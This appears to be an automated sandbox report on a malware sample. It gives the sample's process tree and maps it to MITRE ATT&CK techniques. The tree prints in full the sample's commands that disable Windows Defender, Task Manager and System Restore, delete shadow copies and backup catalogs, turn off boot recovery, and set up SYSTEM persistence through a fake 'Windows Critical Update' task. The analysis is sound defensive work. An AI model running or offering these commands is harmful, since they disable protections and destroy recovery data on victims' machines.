    - Adds Run key to start application
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe" /F
  2⤵
  PID:3476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\962c0fea93ba44dea718fbc83a948d8359b8e900271e5e3f01934f7f74548122.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2108
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3864
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2936
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1580
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1760
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2120
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3324
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5016
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3556
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3392
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4316
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:552

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2584

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5960

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery